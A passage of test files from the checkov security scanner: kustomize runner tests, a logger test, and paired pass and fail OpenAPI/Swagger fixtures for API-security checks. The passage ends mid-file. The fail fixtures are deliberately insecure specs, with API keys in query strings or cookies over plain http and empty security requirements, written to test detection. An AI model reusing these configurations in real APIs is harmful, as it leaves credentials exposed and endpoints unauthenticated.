@unittest.skipIf(os.name == "nt" or not kustomize_exists(), "kustomize not installed or Windows OS") def test_get_binary_output_from_directory_equals_to_get_binary_result(self): scan_dir_path = Path(__file__).parent / "runner/resources/example/no_type" dir_rel_path = os.path.relpath(scan_dir_path).replace('\\', '/') runner = Runner() runner.templateRendererCommand = "kustomize" runner.templateRendererCommandOptions = "build" # Runs the runner fully just to build `runner.kustomizeProcessedFolderAndMeta` _ = runner.run(root_folder=dir_rel_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=['kustomize'])) regular_result = runner.get_binary_output(str(scan_dir_path), runner.kustomizeProcessedFolderAndMeta, runner.templateRendererCommand) result_from_directory = runner.get_binary_output_from_directory(str(scan_dir_path), runner.templateRendererCommand) assert regular_result == result_from_directory if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kustomize/test_runner_image_referencer.py ================================================ from __future__ import annotations import os import sys from pathlib import Path from unittest import mock import pytest from pytest_mock import MockerFixture from checkov.common.bridgecrew.bc_source import get_source_type from checkov.common.bridgecrew.check_type import CheckType from checkov.kustomize.runner import Runner from checkov.runner_filter import RunnerFilter from tests.common.image_referencer.test_utils import ( mock_get_empty_license_statuses_async, mock_get_image_cached_result_async, ) from tests.kustomize.utils import kustomize_exists RESOURCES_PATH = Path(__file__).parent / "runner/resources" @pytest.mark.xfail(reason="This is probably connected to the OS + kustomize version") @pytest.mark.skipif((3, 9) <= sys.version_info < (3, 11), reason="fails on python 3.9 and 3.10 due to path.resolve issues.") @pytest.mark.skipif(os.name == "nt" or not kustomize_exists(), reason="kustomize not installed or Windows OS") @pytest.mark.parametrize("allow_kustomize_file_edits, code_lines", [ (True, "18-34"), (False, "15-31") ]) def test_deployment_resources(mocker: MockerFixture, allow_kustomize_file_edits: bool, code_lines: str): from checkov.common.bridgecrew.platform_integration import bc_integration # given image_name = "wordpress:4.8-apache" test_folder = RESOURCES_PATH / "image_referencer" runner_filter = RunnerFilter(run_image_referencer=True) bc_integration.bc_source = get_source_type("disabled") mocker.patch( "checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async", side_effect=mock_get_image_cached_result_async, ) mocker.patch( "checkov.common.images.image_referencer.get_license_statuses_async", side_effect=mock_get_empty_license_statuses_async, ) # when with mock.patch.dict(os.environ, {"CHECKOV_ALLOW_KUSTOMIZE_FILE_EDITS": str(allow_kustomize_file_edits)}): runner = Runner() runner.templateRendererCommand = "kustomize" runner.templateRendererCommandOptions = "build" reports = runner.run(root_folder=str(test_folder), runner_filter=runner_filter) # then assert len(reports) == 2 kustomize_report = next(report for report in reports if report.check_type == CheckType.KUSTOMIZE) sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE) assert len(kustomize_report.resources) == 6 assert len(kustomize_report.passed_checks) == 136 assert len(kustomize_report.failed_checks) == 42 assert len(kustomize_report.skipped_checks) == 0 assert len(kustomize_report.parsing_errors) == 0 if allow_kustomize_file_edits: for record in kustomize_report.failed_checks: assert record.caller_file_path in ['/base/deployment.yaml', '/base/service.yaml', '/deployment.yaml', '/service.yaml'] assert len(sca_image_report.resources) == 2 assert f'base/kustomization.yaml (wordpress:4.8-apache lines:{code_lines} (sha256:2460522297)).go' in \ sca_image_report.resources assert f'overlays/prod/kustomization.yaml (wordpress:4.8-apache lines:{code_lines} (sha256:2460522297)).go' in \ sca_image_report.resources assert len(sca_image_report.passed_checks) == 0 assert len(sca_image_report.failed_checks) == 6 assert len(sca_image_report.skipped_checks) == 0 assert len(sca_image_report.parsing_errors) == 0 assert len(sca_image_report.image_cached_results) == 2 assert sca_image_report.image_cached_results[0]["dockerImageName"] == image_name assert ( sca_image_report.image_cached_results[0]["relatedResourceId"].endswith("/kustomization.yaml:Pod.default.prod-wordpress.app-wordpress") ) assert sca_image_report.image_cached_results[0]["packages"] == [ {"type": "os", "name": "tzdata", "version": "2021a-1+deb11u5", "licenses": []} ] ================================================ FILE: tests/kustomize/test_utils.py ================================================ from unittest.mock import MagicMock from pytest_mock import MockerFixture from checkov.kustomize.utils import get_kustomize_version, get_kubectl_version def test_get_kubectl_version_v1_27(mocker: MockerFixture): # given subprocess_mock = MagicMock() subprocess_mock.stdout = b'Client Version: version.Info{Major:"1", Minor:"27", GitVersion:"v1.27.2", GitCommit:"7f6f68fdabc4df88cfea2dcf9a19b2b830f1e647", GitTreeState:"clean", BuildDate:"2023-05-17T14:20:07Z", GoVersion:"go1.20.4", Compiler:"gc", Platform:"darwin/amd64"}\nKustomize Version: v5.0.1\n' mocker.patch("checkov.kustomize.utils.subprocess.run", return_value=subprocess_mock) # when version = get_kubectl_version(kubectl_command="kubectl") # then assert version == 1.27 def test_get_kubectl_version_v1_28(mocker: MockerFixture): # given subprocess_mock = MagicMock() subprocess_mock.stdout = b"Client Version: v1.28.0\nKustomize Version: v5.0.4-0.20230601165947-6ce0bf390ce3\n" mocker.patch("checkov.kustomize.utils.subprocess.run", return_value=subprocess_mock) # when version = get_kubectl_version(kubectl_command="kubectl") # then assert version == 1.28 def test_get_kubectl_version_none(mocker: MockerFixture): # given subprocess_mock = MagicMock() subprocess_mock.stdout = b"command not found: kubectl\n" mocker.patch("checkov.kustomize.utils.subprocess.run", return_value=subprocess_mock) # when version = get_kubectl_version(kubectl_command="kubectl") # then assert version is None def test_get_kustomize_version_v4(mocker: MockerFixture): # given subprocess_mock = MagicMock() subprocess_mock.stdout = b"{Version:kustomize/v4.5.7 GitCommit:56d82a8378dfc8dc3b3b1085e5a6e67b82966bd7 BuildDate:2022-08-02T16:28:01Z GoOs:darwin GoArch:amd64}\n" mocker.patch("checkov.kustomize.utils.subprocess.run", return_value=subprocess_mock) # when version = get_kustomize_version(kustomize_command="kustomize") # then assert version == "v4.5.7" def test_get_kustomize_version_v5(mocker: MockerFixture): # given subprocess_mock = MagicMock() subprocess_mock.stdout = b"v5.0.0\n" mocker.patch("checkov.kustomize.utils.subprocess.run", return_value=subprocess_mock) # when version = get_kustomize_version(kustomize_command="kustomize") # then assert version == "v5.0.0" def test_get_kustomize_version_none(mocker: MockerFixture): # given subprocess_mock = MagicMock() subprocess_mock.stdout = b"command not found: kustomize\n" mocker.patch("checkov.kustomize.utils.subprocess.run", return_value=subprocess_mock) # when version = get_kustomize_version(kustomize_command="kustomize") # then assert version is None ================================================ FILE: tests/kustomize/utils.py ================================================ import subprocess from checkov.kustomize.runner import Runner def kustomize_exists() -> bool: try: subprocess.run([Runner.kustomize_command, "version"], check=True, stdout=subprocess.PIPE) except Exception: return False return True ================================================ FILE: tests/logger_streams/__init__.py ================================================ ================================================ FILE: tests/logger_streams/test_logger_streams.py ================================================ import logging import unittest from checkov.common.logger_streams import LoggerStreams from checkov.logging_init import log_stream, erase_log_stream class TestLoggerStreams(unittest.TestCase): def test_stream_collect_valid_logs(self) -> None: log_message = 'this is a log message for testing' stream_name = 'main_stream' erase_log_stream() logger_streams = LoggerStreams() logger_streams.add_stream(stream_name, log_stream) logging.error(log_message) # validate logs stream_content = logger_streams.get_streams().get(stream_name).getvalue() self.assertIn(log_message, stream_content) # validate eraser of logs erase_log_stream() stream_content = logger_streams.get_streams().get(stream_name).getvalue() self.assertEqual(stream_content, '') if __name__ == "__main__": unittest.main() ================================================ FILE: tests/openapi/__init__.py ================================================ ================================================ FILE: tests/openapi/checks/__init__.py ================================================ ================================================ FILE: tests/openapi/checks/resource/__init__.py ================================================ ================================================ FILE: tests/openapi/checks/resource/generic/__init__.py ================================================ ================================================ FILE: tests/openapi/checks/resource/generic/example_ClearTextAPIKey/fail.json ================================================ { "openapi": "3.0.0", "info": { "title": "Simple API overview", "version": "1.0.0" }, "paths": { "/pets": { "post": { "description": "Creates a new pet in the store", "responses": { "200": { "description": "200 response" } }, "operationId": "addPet", "security": [ { "apiKey1": [], "apiKey2": [], "apiKey3": [] } ] } } }, "components": { "securitySchemes": { "apiKey1": { "type": "apiKey", "name": "X-API-Key", "in": "header" }, "apiKey2": { "type": "apiKey", "name": "X-API-Key", "in": "cookie" }, "apiKey3": { "type": "apiKey", "name": "X-API-Key", "in": "query" } } } } ================================================ FILE: tests/openapi/checks/resource/generic/example_ClearTextAPIKey/fail.yaml ================================================ openapi: 3.0.0 info: title: Simple API overview version: 1.0.0 paths: /pets: post: description: Creates a new pet in the store responses: "200": description: 200 response operationId: addPet security: - apiKey1: [] apiKey2: [] apiKey3: [] components: securitySchemes: apiKey1: type: apiKey name: X-API-Key in: header apiKey2: type: apiKey name: X-API-Key in: cookie apiKey3: type: apiKey name: X-API-Key in: query ================================================ FILE: tests/openapi/checks/resource/generic/example_ClearTextAPIKey/fail2.json ================================================ { "swagger": "2.0", "info": { "title": "Simple API overview", "version": "1.0.0" }, "paths": { "/pets": { "post": { "description": "Creates a new pet in the store", "responses": { "200": { "description": "200 response" } }, "operationId": "addPet", "security": [ { "apiKey1": [], "apiKey3": [] } ] } } }, "securityDefinitions": { "apiKey1": { "type": "apiKey", "name": "X-API-Key", "in": "header" }, "apiKey3": { "type": "apiKey", "name": "X-API-Key", "in": "query" } } } ================================================ FILE: tests/openapi/checks/resource/generic/example_ClearTextAPIKey/fail2.yaml ================================================ swagger: "2.0" info: title: Simple API overview version: 1.0.0 paths: /pets: post: description: Creates a new pet in the store responses: "200": description: 200 response operationId: addPet security: - apiKey1: [] apiKey3: [] securityDefinitions: apiKey1: type: apiKey name: X-API-Key in: header apiKey3: type: apiKey name: X-API-Key in: query ================================================ FILE: tests/openapi/checks/resource/generic/example_ClearTextAPIKey/fail3.json ================================================ { "swagger": "2.0", "info": { "title": "Simple API overview", "version": "1.0.0" }, "schemes": [ "https", "http" ], "paths": { "/pets": { "post": { "description": "Creates a new pet in the store", "responses": { "200": { "description": "200 response" } }, "operationId": "addPet", "security": [ { "apiKey1": [], "apiKey3": [] } ] } } }, "securityDefinitions": { "apiKey1": { "type": "apiKey", "name": "X-API-Key", "in": "header" }, "apiKey3": { "type": "apiKey", "name": "X-API-Key", "in": "query" } } } ================================================ FILE: tests/openapi/checks/resource/generic/example_ClearTextAPIKey/fail3.yaml ================================================ swagger: "2.0" info: title: Simple API overview version: 1.0.0 schemes: - https - http paths: /pets: post: description: Creates a new pet in the store responses: "200": description: 200 response operationId: addPet security: - apiKey1: [] apiKey3: [] securityDefinitions: apiKey1: type: apiKey name: X-API-Key in: header apiKey3: type: apiKey name: X-API-Key in: query ================================================ FILE: tests/openapi/checks/resource/generic/example_ClearTextAPIKey/fail4.json ================================================ { "openapi": "3.0.0", "info": { "title": "Simple API overview", "version": "1.0.0" }, "servers": [ { "url": "https://localhost:8000", "description": "Local server" }, { "url": "http://example.com", "description": "Example" } ], "paths": { "/pets": { "post": { "description": "Creates a new pet in the store", "responses": { "200": { "description": "200 response" } }, "operationId": "addPet", "security": [ { "apiKey1": [], "apiKey2": [], "apiKey3": [] } ] } } }, "components": { "securitySchemes": { "apiKey1": { "type": "apiKey", "name": "X-API-Key", "in": "header" }, "apiKey2": { "type": "apiKey", "name": "X-API-Key", "in": "cookie" }, "apiKey3": { "type": "apiKey", "name": "X-API-Key", "in": "query" } } } } ================================================ FILE: tests/openapi/checks/resource/generic/example_ClearTextAPIKey/fail4.yaml ================================================ openapi: 3.0.0 info: title: Simple API overview version: 1.0.0 servers: - url: https://localhost:8000 description: Local server - url: http://example.com description: example paths: /pets: post: description: Creates a new pet in the store responses: '200': description: 200 response operationId: addPet security: - apiKey1: [] apiKey2: [] apiKey3: [] components: securitySchemes: apiKey1: type: apiKey name: X-API-Key in: header apiKey2: type: apiKey name: X-API-Key in: cookie apiKey3: type: apiKey name: X-API-Key in: query ================================================ FILE: tests/openapi/checks/resource/generic/example_ClearTextAPIKey/fail5.json ================================================ { "openapi": "3.0.0", "info": { "title": "Simple API overview", "version": "1.0.0" }, "servers": [ { "url": "wss://localhost:8000", "description": "Local server" }, { "url": "ws://example.com", "description": "Example" } ], "paths": { "/pets": { "post": { "description": "Creates a new pet in the store", "responses": { "200": { "description": "200 response" } }, "operationId": "addPet", "security": [ { "apiKey1": [], "apiKey2": [], "apiKey3": [] } ] } } }, "components": { "securitySchemes": { "apiKey1": { "type": "apiKey", "name": "X-API-Key", "in": "header" }, "apiKey2": { "type": "apiKey", "name": "X-API-Key", "in": "cookie" }, "apiKey3": { "type": "apiKey", "name": "X-API-Key", "in": "query" } } } } ================================================ FILE: tests/openapi/checks/resource/generic/example_ClearTextAPIKey/fail5.yaml ================================================ openapi: 3.0.0 info: title: Simple API overview version: 1.0.0 servers: - url: wss://localhost:8000 description: Local server - url: ws://example.com description: example paths: /pets: post: description: Creates a new pet in the store responses: '200': description: 200 response operationId: addPet security: - apiKey1: [] apiKey2: [] apiKey3: [] components: securitySchemes: apiKey1: type: apiKey name: X-API-Key in: header apiKey2: type: apiKey name: X-API-Key in: cookie apiKey3: type: apiKey name: X-API-Key in: query ================================================ FILE: tests/openapi/checks/resource/generic/example_ClearTextAPIKey/pass.json ================================================ { "openapi": "3.0.0", "info": { "version": "1.0.0", "title": "Simple API overview" }, "paths": { "/pets": { "post": { "description": "Creates a new pet in the store", "responses": { "200": { "description": "200 response" } }, "operationId": "addPet", "security": [ { "OAuth2": [ "write", "read" ] } ] } } }, "components": { "securitySchemes": { "OAuth2": { "type": "oauth2", "flows": { "authorizationCode": { "scopes": { "write": "modify objects in your account", "read": "read objects in your account" }, "authorizationUrl": "https://example.com/oauth/authorize", "tokenUrl": "https://example.com/oauth/token" } } } } } } ================================================ FILE: tests/openapi/checks/resource/generic/example_ClearTextAPIKey/pass.yaml ================================================ openapi: 3.0.0 info: title: Simple API overview version: 1.0.0 paths: /pets: post: description: Creates a new pet in the store responses: "200": description: 200 response operationId: addPet security: - OAuth2: - write - read components: securitySchemes: OAuth2: type: oauth2 flows: authorizationCode: scopes: write: modify objects in your account read: read objects in your account authorizationUrl: https://example.com/oauth/authorize tokenUrl: https://example.com/oauth/token ================================================ FILE: tests/openapi/checks/resource/generic/example_ClearTextAPIKey/pass2.json ================================================ { "swagger": "2.0", "info": { "version": "1.0.0", "title": "Simple API overview" }, "paths": { "/pets": { "post": { "description": "Creates a new pet in the store", "responses": { "200": { "description": "200 response" } }, "operationId": "addPet", "security": [ { "OAuth2": [ "write", "read" ] } ] } } }, "securityDefinitions": { "OAuth2": { "type": "oauth2", "flow": "accessCode", "authorizationUrl": "https://example.com/oauth/authorize", "tokenUrl": "https://example.com/oauth/token", "scopes": { "read": "Grants read access", "write": "Grants write access" } } } } ================================================ FILE: tests/openapi/checks/resource/generic/example_ClearTextAPIKey/pass2.yaml ================================================ swagger: "2.0" info: title: Simple API overview version: 1.0.0 paths: /pets: post: description: Creates a new pet in the store responses: "200": description: 200 response operationId: addPet security: - OAuth2: - write - read securityDefinitions: OAuth2: type: oauth2 flow: accessCode authorizationUrl: https://example.com/oauth/authorize tokenUrl: https://example.com/oauth/token scopes: read: Grants read access write: Grants write access ================================================ FILE: tests/openapi/checks/resource/generic/example_ClearTextAPIKey/pass3.json ================================================ { "swagger": "2.0", "info": { "title": "Simple API overview", "version": "1.0.0" }, "schemes": [ "https" ], "paths": { "/pets": { "post": { "description": "Creates a new pet in the store", "responses": { "200": { "description": "200 response" } }, "operationId": "addPet", "security": [ { "apiKey1": [], "apiKey3": [] } ] } } }, "securityDefinitions": { "apiKey1": { "type": "apiKey", "name": "X-API-Key", "in": "header" }, "apiKey3": { "type": "apiKey", "name": "X-API-Key", "in": "query" } } } ================================================ FILE: tests/openapi/checks/resource/generic/example_ClearTextAPIKey/pass3.yaml ================================================ swagger: "2.0" info: title: Simple API overview version: 1.0.0 schemes: - https paths: /pets: post: description: Creates a new pet in the store responses: "200": description: 200 response operationId: addPet security: - apiKey1: [] apiKey3: [] securityDefinitions: apiKey1: type: apiKey name: X-API-Key in: header apiKey3: type: apiKey name: X-API-Key in: query ================================================ FILE: tests/openapi/checks/resource/generic/example_ClearTextAPIKey/pass4.json ================================================ { "openapi": "3.0.0", "info": { "title": "Simple API overview", "version": "1.0.0" }, "servers": [ { "url": "https://localhost:8000", "description": "Local server" } ], "paths": { "/pets": { "post": { "description": "Creates a new pet in the store", "responses": { "200": { "description": "200 response" } }, "operationId": "addPet", "security": [ { "apiKey1": [], "apiKey2": [], "apiKey3": [] } ] } } }, "components": { "securitySchemes": { "apiKey1": { "type": "apiKey", "name": "X-API-Key", "in": "header" }, "apiKey2": { "type": "apiKey", "name": "X-API-Key", "in": "cookie" }, "apiKey3": { "type": "apiKey", "name": "X-API-Key", "in": "query" } } } } ================================================ FILE: tests/openapi/checks/resource/generic/example_ClearTextAPIKey/pass4.yaml ================================================ openapi: 3.0.0 info: title: Simple API overview version: 1.0.0 servers: - url: https://localhost:8000 description: Local server paths: /pets: post: description: Creates a new pet in the store responses: '200': description: 200 response operationId: addPet security: - apiKey1: [] apiKey2: [] apiKey3: [] components: securitySchemes: apiKey1: type: apiKey name: X-API-Key in: header apiKey2: type: apiKey name: X-API-Key in: cookie apiKey3: type: apiKey name: X-API-Key in: query ================================================ FILE: tests/openapi/checks/resource/generic/example_ClearTextAPIKey/pass5.json ================================================ { "swagger": "2.0", "info": { "title": "Simple API overview", "version": "1.0.0" }, "schemes": [ "wss" ], "paths": { "/pets": { "post": { "description": "Creates a new pet in the store", "responses": { "200": { "description": "200 response" } }, "operationId": "addPet", "security": [ { "apiKey1": [], "apiKey3": [] } ] } } }, "securityDefinitions": { "apiKey1": { "type": "apiKey", "name": "X-API-Key", "in": "header" }, "apiKey3": { "type": "apiKey", "name": "X-API-Key", "in": "query" } } } ================================================ FILE: tests/openapi/checks/resource/generic/example_ClearTextAPIKey/pass5.yaml ================================================ swagger: "2.0" info: title: Simple API overview version: 1.0.0 schemes: - wss paths: /pets: post: description: Creates a new pet in the store responses: "200": description: 200 response operationId: addPet security: - apiKey1: [] apiKey3: [] securityDefinitions: apiKey1: type: apiKey name: X-API-Key in: header apiKey3: type: apiKey name: X-API-Key in: query ================================================ FILE: tests/openapi/checks/resource/generic/example_ClearTextAPIKey/pass6.json ================================================ { "openapi": "3.0.0", "info": { "title": "Simple API overview", "version": "1.0.0" }, "servers": [ { "url": "wss://example.com/socket", "description": "Local server" } ], "paths": { "/pets": { "post": { "description": "Creates a new pet in the store", "responses": { "200": { "description": "200 response" } }, "operationId": "addPet", "security": [ { "apiKey1": [], "apiKey2": [], "apiKey3": [] } ] } } }, "components": { "securitySchemes": { "apiKey1": { "type": "apiKey", "name": "X-API-Key", "in": "header" }, "apiKey2": { "type": "apiKey", "name": "X-API-Key", "in": "cookie" }, "apiKey3": { "type": "apiKey", "name": "X-API-Key", "in": "query" } } } } ================================================ FILE: tests/openapi/checks/resource/generic/example_ClearTextAPIKey/pass6.yaml ================================================ openapi: 3.0.0 info: title: Simple API overview version: 1.0.0 servers: - url: wss://example.com/socket description: Local server paths: /pets: post: description: Creates a new pet in the store responses: '200': description: 200 response operationId: addPet security: - apiKey1: [] apiKey2: [] apiKey3: [] components: securitySchemes: apiKey1: type: apiKey name: X-API-Key in: header apiKey2: type: apiKey name: X-API-Key in: cookie apiKey3: type: apiKey name: X-API-Key in: query ================================================ FILE: tests/openapi/checks/resource/generic/example_GlobalSecurityFieldIsEmpty/fail.json ================================================ { "openapi": "3.0.0", "info": { "title": "test", "version": "1.0.0" }, "security": [] } ================================================ FILE: tests/openapi/checks/resource/generic/example_GlobalSecurityFieldIsEmpty/fail.yaml ================================================ openapi: 3.0.0 info: title: Simple API overview version: 1.0.0 security: [] ================================================ FILE: tests/openapi/checks/resource/generic/example_GlobalSecurityFieldIsEmpty/pass.json ================================================ { "openapi": "3.0.0", "info": { "title": "test", "version": "1.0.0" }, "security": [ { "test": [] } ], "components": { "securitySchemes": [ { "test": { "type": "http", "scheme": "basic" } } ] } } ================================================ FILE: tests/openapi/checks/resource/generic/example_GlobalSecurityFieldIsEmpty/pass.yaml ================================================ openapi: 3.0.0 info: title: test version: 1.0.0 security: - test: [] components: securitySchemes: - test: type: http scheme: basic ================================================ FILE: tests/openapi/checks/resource/generic/example_NoMaximumNumberItems/fail.json ================================================ { "openapi": "3.0.0", "info": { "title": "Simple API Overview", "version": "1.0.0", "contact": { "name": "contact", "url": "https://www.google.com/", "email": "user@gmail.com" } }, "paths": { "/": { "get": { "operationId": "listVersionsv2", "summary": "List API versions", "responses": { "200": { "description": "200 response", "content": { "application/json": { "examples": { "foo": { "value": { "versions": [ { "status": "CURRENT", "updated": "2011-01-21T11:33:21Z", "id": "v2.0", "links": [ { "href": "http://127.0.0.1:8774/v2/", "rel": "self" } ] } ] } } } } } } } } } }, "components": { "schemas": { "GeneralError": { "properties": { "code": { "type": "string", "format": "int32" }, "message": { "type": "array", "items": { "type": "string" } } } } } } } ================================================ FILE: tests/openapi/checks/resource/generic/example_NoMaximumNumberItems/fail.yaml ================================================ openapi: 3.0.0 info: title: Simple API Overview version: 1.0.0 paths: "/": get: operationId: listVersionsv2 summary: List API versions responses: "200": description: 200 response content: application/json: schema: properties: code: type: string format: int32 message: type: array items: type: string examples: foo: value: versions: - status: CURRENT updated: "2011-01-21T11:33:21Z" id: v2.0 links: - href: http://127.0.0.1:8774/v2/ rel: self ================================================ FILE: tests/openapi/checks/resource/generic/example_NoMaximumNumberItems/fail2.json ================================================ { "openapi": "3.0.0", "info": { "title": "Simple API Overview", "version": "1.0.0", "contact": { "name": "contact", "url": "https://www.google.com/", "email": "user@gmail.com" } }, "paths": { "/": { "get": { "operationId": "listVersionsv2", "summary": "List API versions", "responses": { "200": { "description": "200 response", "content": { "application/json": { "schema": { "properties": { "code": { "type": "string", "format": "int32" }, "message": { "type": "array", "items": { "type": "string" } } } }, "examples": { "foo": { "value": { "versions": [ { "status": "CURRENT", "updated": "2011-01-21T11:33:21Z", "id": "v2.0", "links": [ { "href": "http://127.0.0.1:8774/v2/", "rel": "self" } ] } ] } } } } } } } } } } } ================================================ FILE: tests/openapi/checks/resource/generic/example_NoMaximumNumberItems/fail2.yaml ================================================ swagger: "2.0" info: title: Simple API Overview version: 1.0.0 paths: "/": get: operationId: listVersionsv2 summary: List API versions responses: "200": description: 200 response parameters: - name: id in: body description: ID of pet to use required: true schema: properties: code: type: string format: int32 message: type: array items: type: string ================================================ FILE: tests/openapi/checks/resource/generic/example_NoMaximumNumberItems/fail3.json ================================================ { "swagger": "2.0", "info": { "title": "Simple API Overview", "version": "1.0.0", "contact": { "name": "contact", "url": "https://www.google.com/", "email": "user@gmail.com" } }, "paths": { "/": { "get": { "operationId": "listVersionsv2", "summary": "List API versions", "responses": { "200": { "description": "200 response" } } }, "parameters": [ { "schema": { "properties": { "code": { "type": "string", "format": "int32" }, "message": { "type": "array", "items": { "type": "string" } } } }, "name": "id", "in": "body", "description": "ID of pet to use", "required": true } ] } } } ================================================ FILE: tests/openapi/checks/resource/generic/example_NoMaximumNumberItems/fail3.yaml ================================================ openapi: 3.0.0 info: title: Simple API Overview version: 1.0.0 paths: "/": get: operationId: listVersionsv2 summary: List API versions responses: "200": description: 200 response content: application/json: examples: foo: value: versions: - status: CURRENT updated: "2011-01-21T11:33:21Z" id: v2.0 links: - href: http://127.0.0.1:8774/v2/ rel: self components: schemas: GeneralError: properties: code: type: string format: int32 message: type: array items: type: string ================================================ FILE: tests/openapi/checks/resource/generic/example_NoMaximumNumberItems/pass.json ================================================ { "openapi": "3.0.0", "info": { "title": "Simple API Overview", "version": "1.0.0", "contact": { "name": "contact", "url": "https://www.google.com/", "email": "user@gmail.com" } }, "paths": { "/": { "get": { "operationId": "listVersionsv2", "summary": "List API versions", "responses": { "200": { "description": "200 response", "content": { "application/json": { "examples": { "foo": { "value": { "versions": [ { "status": "CURRENT", "updated": "2011-01-21T11:33:21Z", "id": "v2.0", "links": [ { "href": "http://127.0.0.1:8774/v2/", "rel": "self" } ] } ] } } } } } } } } } }, "components": { "schemas": { "GeneralError": { "properties": { "code": { "type": "string", "format": "int32" }, "message": { "type": "array", "maxItems": 5, "items": { "type": "string" } } } } } } } ================================================ FILE: tests/openapi/checks/resource/generic/example_NoMaximumNumberItems/pass.yaml ================================================ openapi: 3.0.0 info: title: Simple API Overview version: 1.0.0 paths: "/": get: operationId: listVersionsv2 summary: List API versions responses: "200": description: 200 response content: application/json: examples: foo: value: versions: - status: CURRENT updated: "2011-01-21T11:33:21Z" id: v2.0 links: - href: http://127.0.0.1:8774/v2/ rel: self components: schemas: GeneralError: properties: code: type: string format: int32 message: type: array maxItems: 5 items: type: string ================================================ FILE: tests/openapi/checks/resource/generic/example_NoMaximumNumberItems/pass2.json ================================================ { "openapi": "3.0.0", "info": { "title": "Simple API Overview", "version": "1.0.0", "contact": { "name": "contact", "url": "https://www.google.com/", "email": "user@gmail.com" } }, "paths": { "/": { "get": { "operationId": "listVersionsv2", "summary": "List API versions", "responses": { "200": { "description": "200 response", "content": { "application/json": { "schema": { "properties": { "code": { "type": "string", "format": "int32" }, "message": { "type": "array", "maxItems": 5, "items": { "type": "string" } } } }, "examples": { "foo": { "value": { "versions": [ { "status": "CURRENT", "updated": "2011-01-21T11:33:21Z", "id": "v2.0", "links": [ { "href": "http://127.0.0.1:8774/v2/", "rel": "self" } ] } ] } } } } } } } } } } } ================================================ FILE: tests/openapi/checks/resource/generic/example_NoMaximumNumberItems/pass2.yaml ================================================ openapi: 3.0.0 info: title: Simple API Overview version: 1.0.0 paths: "/": get: operationId: listVersionsv2 summary: List API versions responses: "200": description: 200 response content: application/json: schema: properties: code: type: string format: int32 message: type: array maxItems: 5 items: type: string examples: foo: value: versions: - status: CURRENT updated: "2011-01-21T11:33:21Z" id: v2.0 links: - href: http://127.0.0.1:8774/v2/ rel: self ================================================ FILE: tests/openapi/checks/resource/generic/example_NoMaximumNumberItems/pass3.json ================================================ { "swagger": "2.0", "info": { "title": "Simple API Overview", "version": "1.0.0", "contact": { "name": "contact", "url": "https://www.google.com/", "email": "user@gmail.com" } }, "paths": { "/": { "get": { "operationId": "listVersionsv2", "summary": "List API versions", "responses": { "200": { "description": "200 response" } } }, "parameters": [ { "schema": { "properties": { "code": { "type": "string", "format": "int32" }, "message": { "type": "array", "maxItems": 5, "items": { "type": "string" } } } }, "name": "id", "in": "body", "description": "ID of pet to use", "required": true } ] } } } ================================================ FILE: tests/openapi/checks/resource/generic/example_NoMaximumNumberItems/pass3.yaml ================================================ swagger: "2.0" info: title: Simple API Overview version: 1.0.0 paths: "/": get: operationId: listVersionsv2 summary: List API versions responses: "200": description: 200 response parameters: - name: id in: body description: ID of pet to use required: true schema: properties: code: type: string format: int32 message: type: array maxItems: 5 items: type: string ================================================ FILE: tests/openapi/checks/resource/generic/example_SecurityOperations/fail1.json ================================================ { "openapi": "3.0.0", "info": { "title": "example", "version": "1.0.0" }, "paths": { "/": { "get": { "operationId": "id", "summary": "example", "security": [ { "OAuth2": [ "admin" ] } ], "responses": { "200": { "description": "200 response", "content": { "application/json": { "examples": { "foo": { "value": { "versions": [ { "status": "CURRENT", "updated": "2011-01-21T11:33:21Z", "id": "v2.0", "links": [ { "href": "http://127.0.0.1:8774/v2/", "rel": "self" } ] } ] } } } } } } } } }, "/apis": { "get": { "operationId": "id2", "summary": "example2", "security": [], "responses": { "200": { "description": "200 response", "content": { "application/json": { "examples": { "foo": { "value": { "versions": [ { "status": "CURRENT", "updated": "2011-01-21T11:33:21Z", "id": "v2.0", "links": [ { "href": "http://127.0.0.1:8774/v2/", "rel": "self" } ] } ] } } } } } } } } } }, "security": [ { "OAuth2": [ "read" ] } ] } ================================================ FILE: tests/openapi/checks/resource/generic/example_SecurityOperations/fail1.yaml ================================================ openapi: 3.0.0 info: title: example version: 1.0.0 paths: "/": get: operationId: id summary: example security: - OAuth2: - admin responses: '200': description: 200 response content: application/json: examples: foo: value: versions: - status: CURRENT updated: '2011-01-21T11:33:21Z' id: v2.0 links: - href: http://127.0.0.1:8774/v2/ rel: self "/apis": get: operationId: id2 summary: example2 security: [] responses: '200': description: 200 response content: application/json: examples: foo: value: versions: - status: CURRENT updated: '2011-01-21T11:33:21Z' id: v2.0 links: - href: http://127.0.0.1:8774/v2/ rel: self security: - OAuth2: - read ================================================ FILE: tests/openapi/checks/resource/generic/example_SecurityOperations/fail2.json ================================================ { "openapi": "3.0.0", "info": { "title": "example", "version": "1.0.0" }, "paths": { "/": { "get": { "operationId": "listVersionsv2", "summary": "example", "security": [], "responses": { "200": { "description": "200 response", "content": { "application/json": { "examples": { "foo": { "value": { "versions": [ { "status": "CURRENT", "updated": "2011-01-21T11:33:21Z", "id": "v2.0", "links": [ { "href": "http://127.0.0.1:8774/v2/", "rel": "self" } ] } ] } } } } } } } } } }, "security": [ { "OAuth2": [ "read" ] } ] } ================================================ FILE: tests/openapi/checks/resource/generic/example_SecurityOperations/fail2.yaml ================================================ openapi: 3.0.0 info: title: example version: 1.0.0 paths: "/": get: operationId: id summary: example security: [] responses: '200': description: 200 response content: application/json: examples: foo: value: versions: - status: CURRENT updated: '2011-01-21T11:33:21Z' id: v2.0 links: - href: http://127.0.0.1:8774/v2/ rel: self security: - OAuth2: - read ================================================ FILE: tests/openapi/checks/resource/generic/example_SecurityOperations/fail3.json ================================================ { "swagger": "2.0", "info": { "title": "example", "version": "1.0.0", "contact": { "name": "contact", "url": "https://www.google.com/", "email": "user@gmail.com" } }, "paths": { "/": { "get": { "operationId": "id", "summary": "example", "security": [], "responses": { "200": { "description": "200 response", "schema": { "type": "object", "properties": { "code": { "type": "integer", "format": "int32" }, "message": { "type": "string" } }, "required": [ "code", "message" ] } } } } } } } ================================================ FILE: tests/openapi/checks/resource/generic/example_SecurityOperations/fail3.yaml ================================================ swagger: "2.0" info: title: example version: 1.0.0 contact: name: contact url: https://www.google.com/ email: user@gmail.com paths: "/": get: operationId: id summary: example security: [] responses: "200": description: 200 response schema: type: object properties: code: type: integer 